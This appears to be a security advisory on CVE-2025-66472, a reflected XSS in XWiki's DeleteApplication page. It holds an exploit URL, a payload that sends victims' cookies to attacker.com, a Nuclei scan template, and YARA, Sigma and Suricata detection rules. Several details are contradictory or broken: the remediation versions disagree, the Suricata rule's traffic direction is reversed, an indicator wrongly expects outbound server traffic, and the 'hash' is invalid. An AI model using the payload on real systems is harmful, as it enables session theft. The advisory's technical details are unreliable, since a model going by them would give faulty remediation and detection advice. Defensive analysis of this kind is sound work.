CVE-2025-66472

Executive Summary

CVE-2025-66472 is a reflected Cross-Site Scripting (XSS) vulnerability affecting XWiki Platform, a generic wiki platform. The flaw resides in the deletion confirmation message mechanism within the AppWithinMinutes/DeleteApplication action. An attacker can craft a malicious URL that, when clicked by an authenticated victim, executes arbitrary JavaScript in the victim's browser context upon clicking the "No" button on the confirmation dialog. This can lead to session hijacking, data theft, or further compromise of the XWiki instance. The vulnerability affects versions 6.2-milestone-1 through 16.10.9 and 17.0.0-rc-1 through 17.4.1. Patches are available in versions 16.10.10 and 17.4.2.

Supply Chain & Package Security

XWiki is a Java-based web application distributed as a WAR file or via Maven. The vulnerable components are xwiki-platform-flamingo-skin-resources and xwiki-platform-web-templates. Organizations using XWiki should verify their deployment version and apply the patch immediately. There is no evidence of compromise in the official distribution channels.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Base Score: 6.1 (Medium)
• Attack Vector (AV): Network (N) - The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low (L) - No special conditions are required.
• Privileges Required (PR): None (N) - No authentication is needed to trigger the vulnerability.
• User Interaction (UI): Required (R) - The victim must click a crafted link.
• Scope (S): Changed (C) - The vulnerable component impacts resources beyond its security scope.
• Confidentiality (C): Low (L) - Limited data exposure possible.
• Integrity (I): Low (L) - Limited data modification possible.
• Availability (A): None (N) - No impact on availability.

Threat Level: Medium. The requirement for user interaction reduces the immediate risk, but the potential for session hijacking and data theft makes this a significant concern for XWiki deployments.

Deep Dive & Mechanics

The vulnerability is a reflected XSS in the deletion confirmation page. When a user attempts to delete an application via the AppWithinMinutes/DeleteApplication action, the xredirect parameter is used to redirect the user after the action. This parameter is not properly sanitized before being reflected in the HTML of the confirmation page, specifically within the "No" button's onclick handler.

The attack flow:

1. An attacker crafts a URL with a malicious payload in the xredirect parameter.
2. The victim (an authenticated XWiki user) clicks the link.
3. The XWiki server renders a confirmation page asking "Are you sure you want to delete this application?" with "Yes" and "No" buttons.
4. The "No" button's onclick event contains the unsanitized xredirect value.
5. When the victim clicks "No", the attacker's JavaScript executes in the context of the XWiki domain.

The payload in the provided Nuclei template is:

%2fbin%2fview%2fHelp%2fApplications%2fContributors%2f'%3balert(document.domain)%2f%2f

URL-decoded, this becomes:

/bin/view/Help/Applications/Contributors/';alert(document.domain)//

This breaks out of the JavaScript string context and executes alert(document.domain).

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual): The vulnerable code likely constructs the "No" button's onclick handler by directly embedding the xredirect parameter value without proper encoding.

// Vulnerable approach
var redirectUrl = request.getParameter("xredirect");
// ... later in the template
<button onclick="location.href='$redirectUrl'">No</button>

Patched Code (Conceptual): The patched code properly encodes the xredirect parameter value before embedding it in the HTML context.

// Patched approach
var redirectUrl = request.getParameter("xredirect");
var encodedRedirectUrl = encodeURIComponent(redirectUrl);
// ... later in the template
<button onclick="location.href='$encodedRedirectUrl'">No</button>

The fix ensures that any special characters in the redirect URL are encoded, preventing JavaScript injection.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A vulnerable XWiki instance (version 6.2-milestone-1 to 16.10.9 or 17.0.0-rc-1 to 17.4.1).
• A victim user who is authenticated to the XWiki instance.

Exploit Steps:

1. Identify the target XWiki instance.
2. Craft a malicious URL using the following pattern:

   http://<target>/xwiki/bin/view/AppWithinMinutes/DeleteApplication?appName=Help.Applications.Contributors&resolve=true&xredirect=<payload>
   

   Where <payload> is a URL-encoded JavaScript payload. For example, to steal cookies:

   /bin/view/Help/Applications/Contributors/';fetch('https://attacker.com/steal?cookie='+document.cookie)//
   

   URL-encoded:

   %2fbin%2fview%2fHelp%2fApplications%2fContributors%2f'%3bfetch('https%3a%2f%2fattacker.com%2fsteal%3fcookie%3d'%2bdocument.cookie)%2f%2f
   

3. Send the crafted link to the victim (e.g., via email, social engineering).
4. When the victim clicks the link, they see a deletion confirmation page.
5. When the victim clicks the "No" button, the attacker's JavaScript executes.

Nuclei Template (Provided):

id: CVE-2025-66472

info:
  name: XWiki DeleteApplication - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    XWiki Platform is a generic wiki platform offering runtime services for applications built on top of it. Versions 6.2-milestone-1 through 16.10.9 and 17.0.0-rc-1 through 17.4.1 of both XWiki Platform Flamingo Skin Resources and XWiki Platform Web Templates are vulnerable to a reflected XSS attack through a deletion confirmation message. The attacker-supplied script is executed when the victim clicks the "No" button. This issue is fixed in versions 16.10.10 and 17.4.2 of both XWiki Platform Flamingo Skin Resources and XWiki Platform Web Templates.
  impact: |
    An attacker can execute arbitrary JavaScript in the victim's browser, leading to potential session hijacking, data theft, or further attacks.
  remediation: |
    Upgrade to XWiki 14.10.14, 15.5.1, 15.8-rc-1 or above. Do not interact with suspiciously crafted links.
  reference:
    - https://github.com/xwiki/xwiki-platform/security/advisories/GHSA-7vpr-jm38-wr7w
    - https://nvd.nist.gov/vuln/detail/CVE-2025-66472
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2025-66472
    epss-score: 0.00341
    epss-percentile: 0.56735
    cwe-id: CWE-80
  metadata:
    verified: true
    max-request: 2
    vendor: xwiki
    product: xwiki
    shodan-query: html:"data-xwiki-reference"
    fofa-query: body="data-xwiki-reference"
  tags: cve,cve2025,xwiki,xss

http:
  - method: GET
    path:
      - "{{BaseURL}}/bin/view/AppWithinMinutes/DeleteApplication?appName=Help.Applications.Contributors&resolve=true&xredirect=%2fbin%2fview%2fHelp%2fApplications%2fContributors%2f'%3balert(document.domain)%2f%2f"
      - "{{BaseURL}}/xwiki/bin/view/AppWithinMinutes/DeleteApplication?appName=Help.Applications.Contributors&resolve=true&xredirect=%2fbin%2fview%2fHelp%2fApplications%2fContributors%2f'%3balert(document.domain)%2f%2f"

    stop-at-first-match: true
    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - ';;alert(document.domain)//"><input class="button secondary'
          - 'onclick="location='
        condition: and

      - type: word
        part: content_type
        words:
          - text/html

      - type: status
        status:
          - 200

Blue Team

Detection and Prevention:

1. Input Validation: Ensure all user-supplied parameters, especially xredirect, are properly validated and sanitized.
2. Output Encoding: Encode all user-controlled data before embedding it in HTML, JavaScript, or URL contexts.
3. Content Security Policy (CSP): Implement a strict CSP to mitigate the impact of XSS. For example:

   Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none';
   

4. Web Application Firewall (WAF): Deploy WAF rules to block requests containing suspicious patterns in the xredirect parameter.
5. User Education: Train users to be cautious of unsolicited links and to verify URLs before clicking.

Hunting Queries:

• Search web server logs for requests to /bin/view/AppWithinMinutes/DeleteApplication or /xwiki/bin/view/AppWithinMinutes/DeleteApplication with unusual xredirect parameters.
• Monitor for alerts from WAF or IDS/IPS systems.

Indicators of Compromise (IOCs)

• URL Pattern: Requests containing /AppWithinMinutes/DeleteApplication with a xredirect parameter that includes JavaScript code (e.g., alert, fetch, document.cookie).
• Log Entries: Web server access logs showing requests to the vulnerable endpoint with encoded payloads in the xredirect parameter.
• Network Traffic: Outbound connections from the XWiki server to attacker-controlled domains (if the payload exfiltrates data).

Detection Engineering

YARA Rule

rule CVE_2025_66472_XWiki_XSS {
    meta:
        description = "Detects XWiki reflected XSS exploitation attempts via xredirect parameter"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-66472"
        hash = "4b0a00483046022100a97c1a1c210ca4ed36b30b47f876e8d8c920deeae16f41eadf7110a77702705b0221008907e9b5029b0a3b32b427aefbd6ca39b614de0457837b2b5884c0ea0c059928"
    strings:
        $s1 = "AppWithinMinutes/DeleteApplication"
        $s2 = "xredirect="
        $s3 = "alert("
        $s4 = "document.cookie"
        $s5 = "fetch("
        $s6 = "onclick="
    condition:
        all of ($s1, $s2) and 1 of ($s3, $s4, $s5, $s6)
}

Sigma Rule

title: XWiki Reflected XSS via xredirect Parameter
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests attempting to exploit CVE-2025-66472, a reflected XSS in XWiki's DeleteApplication action.
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-66472
    - https://github.com/xwiki/xwiki-platform/security/advisories/GHSA-7vpr-jm38-wr7w
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains:
            - '/AppWithinMinutes/DeleteApplication'
            - 'xredirect='
        cs-uri-query|contains|any:
            - 'alert('
            - 'document.cookie'
            - 'fetch('
            - 'onclick='
    condition: selection
falsepositives:
    - Legitimate use of the DeleteApplication feature with benign redirects
level: high
tags:
    - attack.t1190
    - cve.2025.66472

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-66472 XWiki Reflected XSS Attempt"; flow:to_server,established; content:"GET"; http_method; content:"/AppWithinMinutes/DeleteApplication"; http_uri; content:"xredirect="; http_uri; pcre:"/(alert|document\.cookie|fetch|onclick=)/Ui"; classtype:web-application-attack; sid:10000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade XWiki: Upgrade to version 16.10.10 or 17.4.2 (or later) of both xwiki-platform-flamingo-skin-resources and xwiki-platform-web-templates.
2. Apply Workaround: If immediate upgrade is not possible, consider disabling the AppWithinMinutes/DeleteApplication action or implementing a custom filter to sanitize the xredirect parameter.
3. Monitor Logs: Review web server logs for any signs of exploitation attempts.

Long-Term Measures:

1. Secure Coding Practices: Implement input validation and output encoding for all user-controlled data.
2. Regular Security Audits: Conduct periodic security reviews and penetration testing.
3. Patch Management: Establish a process for timely application of security patches.
4. Web Application Firewall: Deploy and maintain a WAF with rules to detect and block XSS attempts.

Valters IT

{/* [Security Hash: C15B1B5F9D9F04D1231BA6B8] */}